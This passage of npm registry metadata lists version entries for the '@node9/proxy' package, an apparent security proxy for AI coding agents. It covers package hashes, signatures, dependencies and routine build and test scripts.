eDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.11.0_1788888596926_0.7165238282924182","host":"s3://npm-registry-packages-npm-production"}},"2.12.0":{"name":"@node9/proxy","version":"2.12.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.12.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"9ee8a8c506616f4b1b0eb21691ece5ffa38c2f5c","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.12.0.tgz","fileCount":17,"integrity":"sha512-WvrrsUbR/g0pZaVav8ohU5wXLyFy6DrA5S4uiFLFix4ctMkvXJZzsJaMxdmZ0nlOIbHVmCOrd7OAg00RnZxQvA==","signatures":[{"sig":"MEYCIQCy++BSKpD8zFCBhyE6HQCFi5/hhaxh8+b8xPxiLf77zAIhAPv8c8o+ySflFLKmY1YtZgWels5ECeOBzeoIlYfF971x","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.12.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7410553},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=20"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"db917430779eff6a62ef111bbc7eafba35e5f7d4","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.124.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.12.0_1788931245795_0.12740177867821867","host":"s3://npm-registry-packages-npm-production"}},"2.13.0":{"name":"@node9/proxy","version":"2.13.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.13.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"6ac268f40be1335e2932a88b752b496afb2caf4e","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.13.0.tgz","fileCount":17,"integrity":"sha512-py4xIoz8xcFy8b2B+VuEgf8OLwKBz4Pch4LxsAhyrW4qh1+8JGnGdbSUN83VO34hPX3XlACT3KNWC4yXUEhEsw==","signatures":[{"sig":"MEUCIQDGgnfVSEibFU8F9eAyl1zBMGSrZPm3ZulrwfdFdxsk0gIgJHl4hnjfnup6FzE9jU48bbdVDHUng5erkJ64ICz4tqM=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.13.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7412000},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=20"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"d20c32d2e53a1006155455efc77bbeb2321db8d8","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.124.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.13.0_1788986313497_0.4506594708501894","host":"s3://npm-registry-packages-npm-production"}},"2.13.1":{"name":"@node9/proxy","version":"2.13.1","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.13.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"73a43224e67cff8a8a46abb9047b27cfcba4bdf6","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.13.1.tgz","fileCount":17,"integrity":"sha512-7o93ZN36zCg4O4HeIoDbkbcFFF7rl8riNBvcA0Sq3VqXZ95wxZ+y94v/jkwxU6cJyKpqqbvFQXVWRVEe/rJ/gQ==","signatures":[{"sig":"MEQCID6ivNCyGq2oNUES1dOBppitttGkkmTH9bdYn5d3NDgdAiB+30/SaaeNa4V29YRg5rvtPVNK+Lbh+c7z2gZqDGvnkQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.13.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7448401},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=20"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"c1b983820aa26e5c4c1dd4196a4bdff1baeb6d7a","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.124.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.13.1_1789155377971_0.780293996113447","host":"s3://npm-registry-packages-npm-production"}},"2.14.0":{"name":"@node9/proxy","version":"2.14.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.14.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"f0b8af17c0b8b909c3289094e0298d3e808a6028","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.14.0.tgz","fileCount":17,"integrity":"sha512-QPBHQz7wtBtuv8byZAghcYBoqCXGMHf+4EBreA2b/GbaNtcJRgE0x8GNgvhIKHo44udjluQIZnf/YC7JwRr0rQ==","signatures":[{"sig":"MEUCIE9O9/VImUeQyUj+k/orymWMgMQFmi2yS7nClBhTCDpcAiEA5JQuPGguET3R60WWiZhuX5PeybPHmPCQ+0M+dSrrAOk=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.14.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7494266},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=20"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"3c2fa811c08ec6b1cbd4072156503681e92c4986","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.124.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.14.0_1789282562106_0.8464989059367811","host":"s3://npm-registry-packages-npm-production"}},"2.14.1":{"name":"@node9/proxy","version":"2.14.1","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.14.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"8a66321802d975b5a0c099ab773ab968336dd747","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.14.1.tgz","fileCount":17,"integrity":"sha512-G5Io4Smb5xqg2nhF6S0AFuhTpVtMblzkyqtN57Qqgta7V3nubQMP566cJ1EhVSvTx4XcfKC43Qlm63noxmY+CA==","signatures":[{"sig":"MEQCIF7XRhTPyObYVtzIp7tBAmRyTOkqRPvQmLc5Fxo6QRk+AiBGtVOHg7sgTKw0TfrBxfd75+a5p4nhjSbp+XOfXFmNsg==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.14.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7593779},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=20"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"39ab4f42caf63b6db1bf069b90d09d527d22f007","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.124.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.14.1_1789362895142_0.7897747497248668","host":"s3://npm-registry-packages-npm-production"}},"2.14.2":{"name":"@node9/proxy","version":"2.14.2","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.14.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"a29a2886d67b00975e7e2410f20f7c4fe982fbca","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.14.2.tgz","fileCount":17,"integrity":"sha512-Q2DOMXyxY5jDrZHW+YWRIBC2mxesnuJmAih2hv5zKAwrYWYyw57E+HwPucScnyDf3TBMp/03SW8+DRPd0Z2W1g==","signatures":[{"sig":"MEYCIQDyqDp2UPyPxsQqz4RTq9mP/oGkBHFe285MKyr1UG31KAIhAOP3s4AKXroZbDtl5tCt23EsBnTxNrBFcK3525hUM1P6","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.14.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7596043},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=20"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"9819f3d0f17f3f177169c4beabef8376d1373c9b","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP 